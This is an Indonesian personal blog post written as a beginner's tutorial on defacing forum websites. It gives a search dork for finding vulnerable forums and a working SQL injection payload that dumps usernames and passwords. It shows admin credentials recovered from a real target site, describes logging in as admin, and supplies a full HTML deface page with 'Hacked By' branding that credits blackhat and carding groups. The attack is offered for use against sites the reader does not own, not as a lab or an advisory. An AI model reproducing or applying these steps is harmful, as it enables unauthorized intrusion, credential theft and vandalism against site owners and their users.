Beta Arraniri

Laki-laki, 19 tahun

Karanganyar, Indonesia

Banggalah pada dirimu sendiri, Meski ada yang tak Menyukai. Kadang mereka membenci karena Mereka tak mampu menjadi seperti dirimu.
::
Start
Windows 8
Shutdown

Navbar3

Search This Blog

Thursday, September 13, 2012

Cara Deface Website Forum Sederhana Untuk Newbie



1). Pertama Ketik di google

inurl:/forums.asp?iFor=

2). Pilih target, Contoh target

3). Hapus angka dibelakang = Hingga menjadi seperti ini

4). Setelah itu = masukan SQL inject
12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users

5). Hingga menjadi seperti ini

Tulisan yang berderet di bawah nama 10 TOPICS itu adalah username
Tulisan yang berderet di bawah nama DATED itu adalah passwordnya

6). Cari Username Admin & Passwordnya.

Ok, pada web target yang jadi bahan tutor ini, saya menemukan username & password.
[-] Username : admin
[-] Password : default

7). Sekarang klik tulisan login yang berada diatas.
Nah... login udah berhasil
Sekarang jika ingin melakukan defacing, klik tulisan "POST NEW TOPICS"

8). Isi Subjectnya...
Contoh : HACKED BY BLA BLA BLA
lalu masukin script deface HTMLnya ke kolom dibawah subject.


<div align=center><DIV id=layer1 style="border-right: #000000 1px; border-top: #000000 1px; z-index: 1; left: 0px; border-left: black 1px; width: 1350px; border-bottom: black 1px; position: absolute; top: 0px; height: 698px; background-color: black; layer-background-color: black"><center> <br><b><font face="papyrus" color="red" size="5">Hacked By Cirebon-Cyber4rt</font></h2><br><br><img src="http://i1121.photobucket.com/albums/l513/iqbalkanci/images8.jpg"><br><br> <font face="papyrus" color="green" size="4">Thanks To: Hacker Newbie Community | YogyaCarderLink | DevilzCode | Indonesian BlackHat | etc</a><br> <br><font color="red" size="3">Wkwkwkwk </div>

Kode diatas bisa diubah sesuai keinginan sobat.
Trus klik tombol post...
Ok, HTML deface'an sobat udah masuk... sekarang klik judul postingan yang sobat tulis di subject tadi.

Contoh Website Forum yang di Deface:

0 comments: